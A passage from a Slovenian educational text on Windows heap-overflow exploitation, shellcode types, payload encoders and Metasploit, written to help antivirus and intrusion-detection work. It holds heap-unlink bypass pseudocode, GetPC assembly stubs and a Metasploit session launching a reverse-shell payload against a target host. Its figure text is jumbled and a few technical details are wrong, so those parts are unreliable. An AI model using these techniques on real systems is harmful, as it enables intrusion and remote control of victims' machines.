metode zlorabe prilagojene značilnostim kopice. Da so prekoračitve kopice akuten problem, kaže tudi dejstvo, da je podjetje Microsoft s SP 2 za Okna XP, vpeljalo spremembe delovanja kopice in vsaj malo ublažilo težave. Ker že obstajajo metode, s katerimi lahko napadalci zaobidejo te mehanizme, so pri Microsoftu v operacijski sistem Okna Vista vgradili dodatne načine zaščite. Verjetno pa tudi z njimi problem še ne bo rešen, česar se zaveda (in priznava) podjetje samo . V prispevku bomo pregledali delovanje kopice v operacijskih sistemih Okna, možne zlorabe različic pred XP SP2, varnostne izboljšave delovanja kopice v XP SP2 ter načine, kako jih premagati. 4.2 Delovanje kopice v oknih Ko v Oknih zaženemo proces, mu operacijski sistem sam dodeli 1MB veliko privzeto kopico, aplikacija pa lahko nato ustvari še več dodatnih kopic. V okviru vsakega procesa (to je PEB – Process Environment Block) se nahaja struktura s podatki, za upravljanje kopic. Vsaka kopica ima nato svoje lastne strukture, s pomočjo katerih sistemske funkcije upravljajo s kopico (Slika 1). Za nas sta najbolj zanimivi Free Lists in Lookaside Lists. Seznam Segmenti segmen- tov Seznam navideznih alokacij 01 Free Lists Lookaside List Seznam Segmenti segmen- Slika 1: Podatkovna struktura kopice v Oknih tov Seznam navideznih 4.2.1 Polje FreeLists Free Lists je polje 128-tih dvosmerno povezanih seznamov, pri čemer so v FreeLists[0] prosti spominski kosi, večji od 1016 bajtov in manjši od 512 KB, so sortirani naraščajoče po velikosti. FreeLists do FreeLists[127] vsebujejo spominske kose velikosti od 8 bajtov do 127* 8 bajtov (1016). Tako na primer dvosmerni seznam z indeksom 2 vsebuje samo proste kose velikosti 16 bajtov, indeks 3 velikosti 24 bajtov in nadaljnji na enak način do 127 tega. Indeksa 1 (FreeLists) ne uporabljamo, ker lahko vsebuje le 8 bajtne spominske kose, kar pa je komaj dovolj za glavo (header) spominskega kosa. Glej Sliko 2. FreeLists[0] 1600 2000 2048 FreeLists[2] 16 16 FreeLists[3] 24 24 . . . . . FreeLists[127] 1016 1016 Slika 2: FreeLists polje dvosmerno povezanih seznamov Glava posameznega zasedenega kosa vsebuje dvobajtno polje svoje velikosti (Self Size), dvobajtno velikost predhodnega kosa (Previous Chunk Size), en bajt za indeks pomnilniškega segmenta (Segment Index), en bajt za zastavice (Flags), en bajt za število prostih, neuporabljenih bajtov v bloku (Unused Bytes) in en bajt za oznako (Tag Index).. Glava posameznega prostega spominskega kosa, pa poleg tega vsebuje še štiribajtni kazalec na naslednji prosti kos v seznamu (Flink) in štiribajtni kazalec na prejšnji prosti kos v seznamu (Blink). Glej Sliko 3. Velikost bloka Velikost predhodnega bloka Velikost bloka Velikost predhodnega bloka Segment Neuporabljen Zastavice Oznaka Neuporabljen ih bajtov Segment Zastavice Oznaka ih bajtov Flink Podatki ( n * 8 – 8) bajtov Blink Slika 3: Struktura za zaseden spominski kos (FreeLists[n]) in za nezaseden spominski kos 4.2.2 Polje Lookaside Lists To polje je na začetku prazno, vsebuje pa 128 enosmernih seznamov spominskih kosov (ki so označeni, kot da so zasedeni čeprav so prosti). Kadar so dosegljivi jih uporabljamo za hitro nalaganje in sproščanje. Seznami rastejo s tem, ko se po alokaciji sprostijo (ker sproščenih kosov ne odstranimo). Vsak seznam lahko ima do štiri spominske kose . 0 1 2 16 16 3 4 32 32 . . . 127 1016 Slika 4: Polje LookasideLists 4.2.3 Algoritma za alokacijo in sproščanje prostora na kopici 1) Algoritem za alokacijo pomnilnika Ko program potrebuje določeno količino prostora na kopici, poteka njegova alokacija po naslednjem algoritmu: 1. Če je količina večja ali enaka 512KB, uporabimo navidezni pomnilnik (virtual memory) in ne kopice. 2. Če je količina manjša od 1KB, najprej preverimo če imamo prost kos v Lookaside polju, če ga nimamo, preverimo polje seznamov FreeLists. 3. Če je količina večja ali enaka 1 KB ali nimamo ustreznega prostega kosa, uporabimo predpomnilnik za kopico 4. Če je količina večja ali enaka 1 KB in ni prostega kosa v predpomnilniku kopice, uporabimo seznam FreeLists[0] (ki vsebuje proste kose različnih dolžin) 5. Če v korakih 1 do 4, ne najdemo ustreznega prostega kosa, povečamo kopico. 2) Algoritem za sproščanje pomnilnika Sproščanje pomnilnika na kopici, pa poteka po naslednjem algoritmu: 1. Če je velikost manjša od 512 KB, se vrne na seznam LookasideLists ali FreeLists 2. Če je manjši od 1 KB, se položi na ustrezen Lookaside seznam (lahko ima največ 4 elemente) 3. Če je manjši od 1 KB in je ustrezen Lookaside seznam poln, se vrne na ustrezen FreeLists seznam. 4. Če je večji od 1 KB, se položi ali v predpomnilnik kopice (če obstaja) ali pa na FreeLists[0]. Če kos vrnemo na LookasideList, ga postavimo na glavo seznama, njegov kazalec pa usmerimo tako, da kaže na kos, ki je bil predtem glava seznama. Zastavice za zasedenost kosa v njegovi glavi ne spremenimo (tako da kos ostane označen, kot zaseden). Ko se kosi vračajo na FreeLists, se lahko zlivajo (coalesce) s svojimi sosedi. Pri tem prva zastavica v glavi kosa ne sme biti postavljena, kos v seznamu ne sme biti prvi ali zadnji, njegov sosed mora biti prost in zlit kos ne sme biti večji od 508 KB. 4.3 Zloraba kopice v Oknih 2000 – XP SP 1 V teh operacijskih sistemih so najpogostejši napadi s tako imenovanim 4 bajtnim prepisovanjem FreeLists seznama. Pogoj je, da najprej zapolnimo ustrezen Lookaside seznam (lahko ga napolnimo z naložitvijo štirih kosov ustrezne velikosti). V seznamu Freelists, pa mora biti spominski kos za tistim v katerega smo pisali prost (da imamo na razpolago kazalca na naslednji kos – Flink in na predhodni blok – Blink). Če aplikacija ne preveri dolžine niza in se vmesnik v katerega vpisujemo, nahaja na kopici, lahko prepišemo glavo sosednjega kosa (pod zgoraj omenjenimi pogoji). Ključna sta predvsem kazalca Flink in Blink, ki ju lahko usmerimo kamorkoli. Napad se zgodi, ko se vmesnik, ki smo ga prepisali, sprosti. Na poljuben štiri bajten naslov, lahko torej vpišemo poljubno štiri bajtno vsebino, kar je pogosto dovolj za vdor. Najpogostejši način je s filtrom za neuporabljeno izjemo (UEF – Unhandled Exception Filter), mogoči pa so tudi naslednji: VEH -Vectored Exception Handling (samo na Oknih XP), kazalec RtlEnterCriticalSection v PEB (Process Environment Block), TEB (Thread Environment Block) Exception Handler Pointer in drugi . Drugi način je 4 do n bajtno prepisovanje, s katerim lahko na posreden način (preko FreeLists) prepišemo katerega od 128 Lookaside seznamov, tako da kazalec kaže na poljubno lokacijo v pomnilniku. Za napad moramo prepisat glavo enega od seznamov na Lookaside in ga alocirati. Biti moramo tudi prvi, ki alociramo kos na dotičnem seznamu. Napad poteka po postopku: 1. Pri prepisovanju na FreeLists prepišemo glavo sosednjega prostega spominskega kosa, tako da kazalec na predhodni kos Blink, kaže na naslov Lookaside seznama izbrane velikosti (PrepisanKos.Blink = &Lookaside[VelikostKosa]) 2. Poleg tega moramo prepisati zastavice s 0x20, indeks segmenta je lahko število od 1 do 63, velikost kosa mora biti 1 in velikost prejšnjega kosa tudi 1. 3. Kazalec PrepisanKos.Flink, pa prepišemo z naslovom na katerega, želimo, da kaže. 4. Alociramo en kos na Lookaside[VelikostKosa] 4.4 Varnostne izboljšave kopice v Oknih XP SP 2 Izvedeno imajo randomizacijo začetnega naslova PEBa (PEB randomization aka shuffling). To na samo prepisovanje spominskega naslova, ne vpliva, zato pa je težje preusmeriti izvajanje na lupinsko kodo (z njo si napadalec omogoči dostop do operacijskega sistema, npr. ukazna vrstica (command prompt)). Pred tem je bil PEB v vseh NT operacijskih sistemih na naslovu 0x7FFDF000, sedaj pa se naključno spreminja med nekaj spominskimi stranmi. Glava vsakega spominskega kosa vsebuje nov varnostni piškotek (Security Cookie). V SP 2 so spremenjene tudi glave spominskih kosov, iz glav je izločena oznaka (Tag index), dodan pa je 1 bajtni varnostni piškotek, katerega vrednost se naključno spreminja med 0 in 255. Varna odstranitev (Safe Unlinking) kosa iz seznama, za ustavitev 4-bajtnega prepisovanja. Sistem pred odstranitvijo kosa preveri, ali kazalec Blink naslednjega kosa, res kaže nazaj na kos, ki ga odstranjujemo ter ali kazalec Flink predhodnega kosa, kaže na kos, ki ga hočemo izločiti. Za spominske kose manjše ali enake 16 KB je vpeljana nova kopica, ki ima majhno fragmentacijo (LFH Low Fragmentation Heap). Nahaja se nad obstoječo kopico in zmanjšuje fragmentacijo kopice. LFH obstaja, le če pri kreiranju kopice nismo podali zastavice HEAP_NO_SERIALIZE . 4.5 Zloraba kopice v XP SP2 in 2k3 SP1 Randomizacija PEBa ne prispeva veliko k varnosti, posebej kadar ima proces več niti (ker je v okviru PEBa randomiziran samo TEB (Thread Environment Block) prve niti). Če ima proces 11 niti, bo napadalec pri vnosu lupinske kode vedno uspel, saj so potem vse PEBu namenjene pomnilniške strani polne. Tudi varnostni piškotek v glavah spominskih kosov ni posebej močna zaščita, saj ga v povprečju uganemo v 256 poizkusih, saj je njegova dolžina le en bajt (ker trenutno v glavi ni več prostora (že tako ga je bilo mogoče dodati samo zato, ker smo izločili oznako kosa – tag index (ki se je uporabljal za pomoč pri razhroščevanju)). Res pa je, da z njim bistveno upočasnimo širjenje črvov, ki izkoriščajo prepisovanje kopice. Tudi varno odstranjevanje kosov je mogoče prelisičiti. Matt Conover je na primer odkril spodnji postopek: p = HeapAlloc(n); FillLookaside(n); HeapFree(p); EmptyLookaside(n); Nekje na kopici moramo prepisati p[0] s: p->Flags = Busy (da preprečimo morebitno naključno zlivanje) p ->Flink = (BYTE *)&ListHead[(n/8)+1] - 4 p ->Blink = (BYTE *)&ListHead[(n/8)+1] + 4 HeapAlloc(n); // (zanemarimo rezultat) p = HeapAlloc(n); // varno odstranjevanje smo premagali // p kaže zdaj na &ListHead[(n/8)].Blink LFH kopica je glede varnosti bolj obetavna, vsebuje 32 bitni varnostni piškotek in zakriva naslove glav kosov v Lookaside seznamih. Problem je, da jo je treba vključiti ročno, da je na voljo, le za spominske kose velikosti manj kot 16 KB in predvsem, da je nič v XP SP 2, ne uporablja. 4.6 Sklep Tudi prekoračitve vmesnika na kopici so pomemben varnostni problem, ki so ga pri Microsoftu dolgo zanemarjali, vse do izida SP 2 za XPje (in SP 1 za Okna 2003). Šele veliko število napadov jih je prisililo, da so začeli jemati varnost bolj resno. Čeprav kopica tudi v XP SP2 ni neprebojna je vseeno korak v pravo smer, predvsem LFH. V Oknih Vista pa je še izboljšana. Vseeno to še ne bo konec težav, ker so tudi napadalci vedno boljši in bolj motivirani. Tudi, če bo upravljanje kopice brezhibno (ali možnost prepisovanja statistično zanemarljiva), bo ostal problem prekoračitve podatkov v okviru aplikacij nerešen. Edina prava rešitev je zato preverjanje vhodnih podatkov. Tega ni tako težko zagotoviti v iz nič razvitih novih programih, večji problem predstavljajo programi, pri katerih le dodajamo nove zmožnosti in programih, pri katerih uporabljamo že razvito kodo (reused code). 4.7 Viri in Literatura PINCUS Jonathan, BAKER Brandon: Beyond Stack Smassing: Recent Advances in Exploiting Buffer Overruns, IEEE Computer Society, 2004. MARINESCU Adrian: Windows Vista Heap Management Enhancements, Microsoft, 2006 Conover Matt: Heap Overflows, http://www.w00w00.org/articles.html, 1999 ANISIMOV Alexander: Defeating Microsoft Windows XP SP2 Heap Protection and DEP Bypass, http://www.ptsecurity.com, 2005 LITCHFIELD David: Windows Heap Overflows, NGSSoftware, http://opensores.thebunker.net/pub/mirrors/blackhat/presentations/win-usa-04/bh-win-04-litchfield/bh-win- 04-litchfield.pdf , 2004 HOWARD Michael, LEBLANC David: Writing Secure Code, Microsoft Press, 2003 HOGLUND Greg, MCGRAW Gary: Exploiting Software: How to Break Code, Addison-Wesley, 2003 NAGY Ben: Beyond NX, http://www.pakcon.org/post-pc-2005/pc-khi-05-ben-presentation.pdf 5 Lupinska koda in kodirniki 5.1 Uvod Metode samih napadov s prekoračitvami vmesnikov so več ali manj znane, medtem ko metode za pridobitev nadzora nad ranljivimi računalniki še niso povsem zrele. Njihovo dozorevanje poteka s teorijo in orodji, ki so na voljo vsem na spletnem mestu Metasploit. Lupinske kode stremijo k tem, da so neopazne in da jih ni mogoče razumeti. Pri tem skrivanju jim pomagajo kodirniki (encoders) tako, da lupinsko kodo polimorfno predelajo in šifrirajo. Obstajajo orodja, ki znajo narediti mnogo različic istega napada, kar je velik problem za protivirusne programe, saj je potrebno v seznam dodati veliko število podpisov. Šifriranje pa onemogoča že sam osnovni dostop do kode, brez njega sploh ne moremo nič ukreniti. Razumevanje, kako deluje lupinska koda, je nujno, če jih naj protivirusni programi in detektorji vdorov zaznajo. Odkriti je treba značilnost, podpis (signature), ki enoznačno identificira kodo. Predstavili bomo več raznih vrst lupinskih kod in kodirnikov zanje. 5.2 Lupinska koda Ko odkrijemo prekoračitev sklada in znamo preusmeriti tok izvajanja na kodo za zlorabo, je naslednji korak upravljanje napadenega sistema preko te kode. V ta namen je v odvisnosti od okoliščin na voljo ena ali več naslednjih možnosti: 1. Izvedba poljubne kode (arbitrary code execution) 2. Vrnjena lupina (reverse shell). 3. Povezava na vrata (portbind) 4. Odkrivanje vtičnice (findsocket) 5. Snemi/poženi (Download/Execute) izvedljivo datoteko 6. Družina večkoračnih oblik nalaganja lupinske kode (Staged Loading Shellcode). 7. Vbrizganje dinamične knjižnice (DLL Injection) 5.2.1 Izvedba poljubne kode (arbitrary code execution) Vdor lahko hekerju omogoči, da na sistemu izvede poljubno kodo, ne da bi zato imel pravico. Gre za prepovedano dejanje, nekaj podobnega, kot je vlom v hišo. Pri vdoru v tem kontekstu mislimo predvsem na vdor preko prekoračitve vmesnika (buffer overflow). Koda je namenjena predvsem temu, da olajša nadaljnji, čimbolj praktični nadzor nad napadenim računalnikom. Izvajanje poljubne kode je tudi osnova nadaljnjih korakov za prevzem nadzora nad računalnikom žrtve. 5.2.2 Vrnjena lupina (reverse shell). Vrnjena lupina je breme (payload, shellcode), ki na napadenem sistemu ustvari povratno TCP povezavo na napadalčev sistem. Vhod in izhod te povezave usmerja v oziroma iz ukazne vrstice napadenega sistema. Vse skupaj je podobno orodju Remote Desktop Connection v Windows XP in Vista, vendar brez grafičnega vmesnika. To metodo je mogoče uporabiti, kadar požarni zid ne blokira izhodnih povezav (outbound filtering) oziroma ne blokira napadalčevega IP-ja in vrat (port). Koda, ki implementira vrnjeno lupino, mora najti funkcije LoadLibraryA, CreateProcessA in ExitProcess v knjižnici kernel32.dll in funkciji WSASocketA ter connect v knjižnici ws2_32.dll. Opisano velja za družino operacijskih sistemov Windows NT. Glej Sliko 1. Računalnik žrtve Požarni zid organizacije žrtve Računalnik napadalca Ranljiv program je Požarni zid ne sme Napadalec pripravi »požrl« breme (payload) blokirati izhodnih vnos in ga posreduje tipa Vrnjena lupina (outbound) povezav ranljivemu programu na LAN Internet (reverse shell), ki ga je (oziroma mora računalniku žrtve. poslal napadalec. prepuščati IP in port Če napad uspe, lahko To breme ustvari TCP napadalca), sicer ta napadalec vnaša povezavo z IP naslovom napad ne uspe lupinske (Command in portom računalnika Prompt) ukaze na napadalca žrtvinem računalniku Slika 1: Dostop do upravljanja žrtvinega računalnika z Vrnjeno lupino (ReverseShell). 5.2.3 Povezava na vrata (portbind). Ta metoda je podobna zgornji v tem, da tudi ta preusmerja vhod oziroma izhod v in iz ukazne vrstice napadenega sistema. Tehnično deluje tako, da na napadenem sistemu odpre nova vrata in zatem na njih »posluša« (listen) ukaze iz napadalčevega računalnika. Da lahko deluje, požarni zid ne sme blokirati vstopnih povezav (inbound filtering) na vratih, na katerih napaden računalnik posluša napadalčeve ukaze. Ponovno so potrebni naslovi funkcij LoadLibraryA, CreateProcessA in ExitProcess iz knjižnice kernel32.dll in funkcij WSASocketA ter bind, listen, accept iz knjižnice ws2_32.dll. Glej Sliko 2. Računalnik žrtve Požarni zid organizacije žrtve Računalnik napadalca Požarni zid ne sme Napadalec pripravi vnos in blokirati vhodnih (inbound) ga posreduje ranljivemu Ranljiv program je »požrl« povezav programu na računalniku breme (payload) tipa LAN (oziroma mora prepuščati Internet žrtve. Povezava na vrata (portbind), port ranljivega programa Če napad uspe, lahko ki ga je poslal napadalec. in port na katerem žrtvin napadalec vzpostavi To breme ustvari TCP port računalnik čaka povezavo z žrtvinim na katerem čaka (listen) na napadalca), sicer ta računalnikom in vnaša vhodno (inbound) povezavo. napad ne uspe lupinske (Command Ko do povezave pride, jo Prompt) ukaze. preusmeri v ukazno vrstico Slika 2: Dostop do upravljanja žrtvinega računalnika s Povezavo na vrata (portbind). 5.2.4 Odkrivanje vtičnice (findsocket) Pri tem načinu napadalec ne tvori nove TCP povezave na napadenem računalniku, temveč uporabi že obstoječo. Varianti sta getpeername findsocket, ki ne deluje preko namestnika (proxy) oziroma NAT (Network Address Translation) in je treba vstaviti izvorna vrata (embed source port). Druga varianta je Find tag findsock. Ta druga različica deluje preko namestnika in NAT, vendar je v operacijskih sistemih Windows bolj zahtevna. 5.2.5 Snemi/poženi (Download/Execute) izvedljivo datoteko. Tu je lupinska koda takšna, da preko medmrežja na napaden sistem pošlje izvedljivo, zlonamerno datoteko. Napad poteka tipično preko protokola HTTP z ustrezno oblikovanim URL-jem. Ker je http strežnik najpogostejši strežniški program, so pripadajoča vrata v požarnem zidu najpogosteje odprta in datoteka je lahko velika. Problem pri tem napadu je, da naloži datoteko v datotečni sistem (kjer jo protivirusni program pogosto zazna). Ko pa se požene je vidna med zagnanimi procesi, kjer jo lahko ponovno kdo opazi. Drugače je to lupinsko kodo, vsaj na operacijskih sistemih Windows, lahko izdelati, ker je Microsoft poskrbel za knjižnico Windows Internet DLL (wininet.dll, ki se nahaja v kernel32.dll), ki delo poenostavi. 5.2.6 Družina večkoračnih oblik nalaganja lupinske kode (Staged Loading Shellcode). Tipično poteka v dveh korakih. Pri prvem koraku se naloži zgolj majhno breme (stub), katerega edina naloga je, da v drugem koraku naloži večjo, dejansko uporabno kodo. K tej družini spadata tudi metodi findsocket, posebej pa jajčarji (egghunt). Za enega od njih je v prvem koraku dovolj zgolj 40 bajtov vmesnika na skladu. Ta metoda se uporablja, kot smo omenili, kadar je vmesnik majhen in obenem ni točnega naslova, na katerem se nahaja dejanska lupinska koda. V prvem koraku s kodo v vmesniku zgolj iščemo »jajce« v pomnilniškem prostoru procesa in ko ga najdemo, izvajanje preusmerimo nanj. Mehanizmov iskanja je več, najpogostejša pa sta preverjanja z vstavljanjem prilagojenega obravnavanja izjem (Custom Exception Handler) in s pomočjo zlorabe sistemskih klicev. Z obema je mogoče preverjati pomnilnik po tipični vrednosti (lahko bi tudi rekli podpisu), ki se nahaja v jajcu. Metodi delujeta tako, da med preverjanjem ne sesujemo programa ali celo operacijskega sistema. 5.2.7 Vbrizganje dinamične knjižnice (DLL Injection). Tudi ta metoda spada med večkoračne. V prvem koraku je potrebno poiskati, kje se nahaja funkcija LoadLibraryA, v drugem koraku pa z njo, preko omrežja ali interno, včitamo poljubno DLL knjižnico. Primer take »hekerske« knjižnice je VNC - protokol za oddaljen dostop. V končni obliki je z vbrizgavanjem knjižnic mogoče skoraj vse. Na primer: oddaljeno vklopiti USB kamero na napadenem računalniku in preko nje opazovati, kaj se v tistem prostoru dogaja. Za vbrizgavanje knjižnic imamo dve metodi. Prva jih naloži z diska žrtve (On-Disk), kjer jo lahko zazna žrtvin protivirusni program. Problem je tudi, da se mora knjižnica že nahajati na disku oziroma mora napadalec imeti dostop do deljenega direktorija (shared folder). Druga pa jih naloži v celoti iz dinamičnega pomnilnika (In-Memory). Bolj zaželena je ta druga, vendar moramo pri njej premagati več ovir (vsaj v Windowsih). Njene prednosti so, da je nečedno dejavnost težje opaziti in odkriti ter ker ne dostopa do diska, tudi ni sledi, ki bi jih lahko opazil forenzik. 5.3 Kodirnika V podanem argumentu običajno ne smemo imeti znaka 0x00 (ničelni niz), včasih pa tudi ne znakov 0x0A (konec vrstice), 0xFF (-1) in 0x0D (Enter). Poleg tega je zaradi uporabe protivirusnih programov in raznih detektorjev vdorov neugodno, če je podani vnos za napad vedno isti. Za protivirusne programe podjetja, ki jih izdelujejo in tržijo, dodajo značilnost (podpis) zlonamernega argumenta (vnosa za napad) k seznamu virusov, ko postane napad znan. Tak način zlorabe nato ni več mogoč. Poleg tega si napadalec ne želi, da bi drugi analizirali njegov vnos za napad. 5.3.1 Pridobivanje naslova trenutne instrukcije Pri polimorfnem variiranju bremena je večkrat potrebno dobiti naslov trenutne instrukcije med izvajanjem programa (Run-time) in ne (samo) ob tvorjenju binarne kode (compiling and linking), zato da dobimo odmik (offset) položaj naše virusne kode. Na primerih 1, 2 in 3 je nekaj možnosti pridobitve naslova trenutne instrukcije (nahaja se v EIP registru mikroprocesorja). 00000000 E800000000 call 0x5 00000005 58 pop eax Primer 1: Najenostavnejši način pridobitve trenutne vrednosti EIP. Ob klicu funkcije (call 0x5) se med drugim register EIP shrani na sklad, od koder ga takoj snamemo v register EAX (pop eax) . Zadeva je, ponovimo, lahko problematična, ker imamo več parov ničelnih znakov, kot vemo, ko program pri vnosu niza naleti na ničelni znak, niz takoj zaključi oziroma odreže, ne glede na to, da je včitan le del našega niza. Možna varianta, ki ne vsebuje ničelnih znakov, je prikazana na primeru 2 . 00000000 EB02 jmp short 0x4 00000002 58 pop eax 00000003 90 nop 00000004 E8F9FFFFFF call 0x2 Primer 2: Pridobitev trenutne vrednosti EIP, ki ne vsebuje ničelnega znaka. Zadeva deluje tako, da »funkcijo« (call 0x2), kličemo nazaj (navzgor) z znaki 0xFF (ki predstavlja -1). Večkrat je lahko poleg znaka 0x00 problem tudi znak 0xFF. Na primeru 3 je zato predstavljena metoda, ki deluje brez obeh znakov. 00000000 D9EE fldz 00000002 D97424F4 fnstenv [esp-0xc] 00000006 58 pop eax Primer 3: Pridobitev trenutne vrednosti EIP brez problematičnih znakov. Ukaz fnstenv [esp-0xc] prebere naslov zadnjega fpu ukaza. Prednost metode je v tem, da dovoljuje veliko več permutacij, pa tudi kode je manj kot pri metodi v primeru 2. 5.3.2 Delovanje (de)kodirnikov Kodirniki delujejo tako, da nezaželene znake zamenjajo z drugimi znaki. Breme lahko polimorfno variirajo (tako da delujejo isto, vendar so med seboj različna) in še vse skupaj zašifrirajo. Končno izdelajo še dekodirnik in ga pripnejo k bremenu. Ko se to na računalniku žrtve aktivira, se najprej izvede koda dekodirnika, ki povrne breme v izvorno obliko in ga požene, da dobimo izbran dostop do napadenega računalnika. Rezultat je za protivirusne programe in detektorje vdorov zelo neugoden. Kot rečeno, kodirnik polimorfno obdela breme z zamenjavo instrukcij z drugimi enakovrednimi instrukcijami. V nadaljevanju lahko binarne znake v bremenu zamenja z alfanumeričnimi, običajno je tudi šifriranje. Samo breme večinoma ostane nespremenjeno, vnos se spreminja zaradi uporabe kodirnika (in pripetega dekodirnika). Na računalniku žrtve se s pomočjo dekodirnika spremeni nazaj v izvedljivo zlonamerno kodo. Glej sliko 3. Uporaba (de)kodirnika Dekodirnik (Decoder) se Kodirnik (Encoder): Breme (payload, sestavi skupaj s Polimorfično variranje shellcode) v zbirnem kodirnikom in deluje njemu bremena: jeziku (assembler) : nasprotno. - zamenjava instrukcij - Vrnjena lupina - se prvi požene na - pretvorba v ASCII - Povezava na vrata računalniku žrtve - šifriranje (po možnosti s - DLL vstavljanje (DLL - razvozla, kar se je kontekstno odvisnim Injection) »zavozlalo« s kodirnikom ključem), ključ se naj določi ... - požene breme v času izvajanja (run-time), na računalniku žrtve Slika 3: Uporaba kodirnika in dekodirnika bremena. Kodirnikov je več, Shikata Ga Nai pa je eden najboljših znanih. Fraza je precej pogosta na ulicah japonskih mest in pomeni: nič se ne da pomagati, tako pač je. Kodirnik je univerzalen, tako da zna polimorfno variirati in zašifrirati poljubno breme, ne samo specifičnega. Pri tem nudi več kot milijon permutacij podanega bremena, štiri šifrirne ključe, kodira tudi lasten konec. 5.3.3 (De)kodirniki s kontekstnimi ključi. V dekodirniku ni pametno hraniti (statičnega) ključa za dešifriranje bremena. Možno ga je odkriti in dekodirati breme ter izvleči njegovo značilnost (imenovano tudi podpis (signature)), ga vključiti v protivirusni program in detektor vdora. Kot smo že povedali, je s tem z napadom povečini konec. Kodirnik s kontekstnimi ključi se v bistvu ne razlikuje od tistega s statičnimi, le ključ je kontekstni. Dekoderski del pa je odgovoren za odkrivanje ključa ali njegovo generiranje (ter nato za dekodiranje in zagon bremena). Opraviti imamo z naslednjimi pojmi: 1. Pridobivanje kontekstnih ključev (Contextual Keying). To je proces izbiranja ključev iz kontekstnih podatkov na računalniku žrtve, ki so ali poznani ali predvidljivi. 2. Kontekstni ključi (Context-key). To so ključi, ki jih pridobimo s postopki iz prve točke. 3. Kontekstni naslov (Context-address). To je naslov, na katerem se na računalniku žrtve nahaja kontekstni ključ. 4. Mapa pomnilnika (Memory Map). To je datoteka, v kateri so kosi (chunks) statičnih podatkov ter naslovi njihovih lokacij med izvajanjem programov. V Mapi pomnilnika so lahko naslednji podatki kosa: Tip podatka (Data Type) 8 bitov, bazni naslov kosa(Chunk base address) 32 bitov, velikost kosa (Chunk size) v oktetih 32 bitov in podatek kosa (Chunk Data) . Kontekstne ključe je mogoče pridobiti iz različnih kontekstov. Na razpolago imamo: 1. Statične podatke v (napadeni) aplikaciji (Static Application Data). V tem kontekstu je lahko najti za ključ primerne podatke, če le imamo dostop do izvršilne datoteke in/ali povezanih knjižnic ter lahko reproduciramo stanje, kot je na žrtvinem računalniku. Ključ izberemo med statičnimi vrednostmi v pomnilniku procesa. Uporabni naslovi za te vrednosti so: spremenljivke okolja (Environment variables), statični nizi (static strings) in izvršilne instrukcije aplikacij - torej koda, ki se nahaja v .text segmentu procesa. Ustrezno mapo pomnilnika (iz katere dobimo ključe) pridobivamo s stalnim preverjanjem pomnilnika procesa, pri čemer zavržemo podatke, ki se spreminjajo. Druga možnost je razčlenjevanje kode (parse) .text dela izvršilne datoteke ali knjižnice (.exe, .dll) in iskanje, kam v pomnilnik se ta koda preslika (primer takšnega orodja je msfpescan) . 2. Z dogodki povezane podatke (Event Data). Kontekstni ključ lahko dobimo tudi iz prehodnih (Transient) podatkov, če le trajajo dovolj dolgo, da jih lahko dekodirnik zajame. Te podatke zajamemo predvsem iz vhodnih podatkov. Praktično vsaka aplikacija zahteva kakšen vhod. Tako lahko poleg kode za napad (ali z njo) pošljemo še vhodne podatke, ki končajo na znani lokaciji v pomnilniku. Tam jih mora dekodirnik zajeti, preden izginejo. 3. Časovne podatke (Temporal Data). Tudi ti podatki lahko služijo za pridobitev kontekstnega ključa. V spominskih lokacijah imamo tudi časovne merilnike (timer), kot so: sistemski čas (system time), neprekinjeno delovanje (uptime) in druge vrste števcev. Pogoji so, da se ti podatki ne spremenijo medtem, ko jih uporabljamo za ključ. Vedeti moramo, kakšna bo njihova vrednost in res se nekateri relativno redko spreminjajo. Na primer v Windows NT družini je sistemski čas shranjen v 8 (oz.12) bajtnem časovnem merilniku z natančnostjo 100 nanosekund in se šteje od 1.januarja 1961. Ta čas je preslikan v vsakem procesu na znano lokacijo, kot del SharedUserData regije pomnilnika. Za izbiro kontekstnega ključa, kot rečeno, uporabimo statične kose, ki se nahajajo v Mapi pomnilnika, z naslednjim postopkom: 1. Izberemo vsako zaporedje podatkov na poljubnem naslovu, ki je dovolj veliko za ključ. 2. Preverimo, če rezultat kodiranja s takim ključem v nizu ne vsebuje prepovedanih znakov. 3. Preverimo, če kontekstni naslov ključa (to je lokacija na kateri se nahaja) ne vsebuje prepovedanih znakov. 4. Če je vse v redu, označimo vrednost kontekstnega ključa in njegov naslov. Zatorej napredni napadalci, breme, lupinsko kodo šifrirajo s kontekstnimi ključi, ker jo je potem mnogo težje dešifrirati. Brez dešifriranja pa smo proti njej nemočni. 5.4 METASPLOIT Metasploit je projekt s področja računalniške varnosti. Z njim lahko testiramo varnostne programe, kot so detektorji vdorov, protivirusni programi itd.. Obenem pa lahko tudi hekerji preverijo ali lahko njihova zlonamerna koda neopaženo prebije te iste varnostne programe. Poleg zbirke kod za vdor (exploit-ov), vsebuje tudi zbirko lupinskih kod (oz. bremen). V svoji negativni strani tako predstavlja tudi ogrodje, polavtomatsko okolje za vdiranje, ki ga znajo uporabljati tudi manj vešči napadalci. Med glavne razvijalce spadata tudi v literaturi navedena Spoonm in Skape. V Metasploit-u je praktično implementirana večina v tem prispevku predstavljene teorije . Primer osnovne uporabe Metasploit Framework-a v ukazni konzoli ( msf >) je naslednja: msf > use iis50_printer_overflow msf iis50_printer_overflow > msf iis50_printer_overflow > set RHOST 10.41.1.30 RHOST -> 10.41.1.129 msf iis50_printer_overflow > set RPORT 80 RPORT -> 80 msf iis50_printer_overflow > check [*] The system appears to be vulnerable msf iis50_printer_overflow > msf iis50_printer_overflow > set payload win32_reverse payload -> win32_reverse msf iis50_printer_overflow(win32_reverse) > set LHOST 172.29.109.54 LHOST -> 172.29.109.54 msf iis50_printer_overflow(win32_reverse) > exploit Primer 4: Uporaba Metasploit Framework-a. V tem primeru (primer 4) najprej izberemo ustrezno prekoračitev vmesnika (use iis50_printer_overflow). Nato podamo IP in vhodno/izhodna vrata napadenega računalnika (RHOST in RPORT). Zatem preverimo, ali je žrtvin računalnik ranljiv ali ne (check) in izberemo ustrezno lupinsko kodo (payload). Potem podamo IP (in običajno še vrata) računalnika, s katerega poganjamo napad (LHOST, LPORT) ter končno sprožimo napad (exploit). 5.5 SKLEP Lupinska koda v navezi s kodirniki še ni povsem zrela tehnologija, vendar je tudi to, kar je že dosegla, zastrašujoče. Bližamo se stanju, ko bo vsaka nezakrpana prekoračitev vmesnika usodna in postavlja velike izzive pred razvijalce protivirusnih in drugih varnostnih programov. 5.6 VIRI IN LITERATURA JOHNS, Martin: C Insecurities, Secologic Treffen, 11.07.2005 SKAPE: Understanding Windows Shellcode, http://www.nologin.org, 2008 SPOONM: Recent Shellcode Development, ReCon, 2005 SPOONM, SKAPE: Beyond EIP, Blackhat 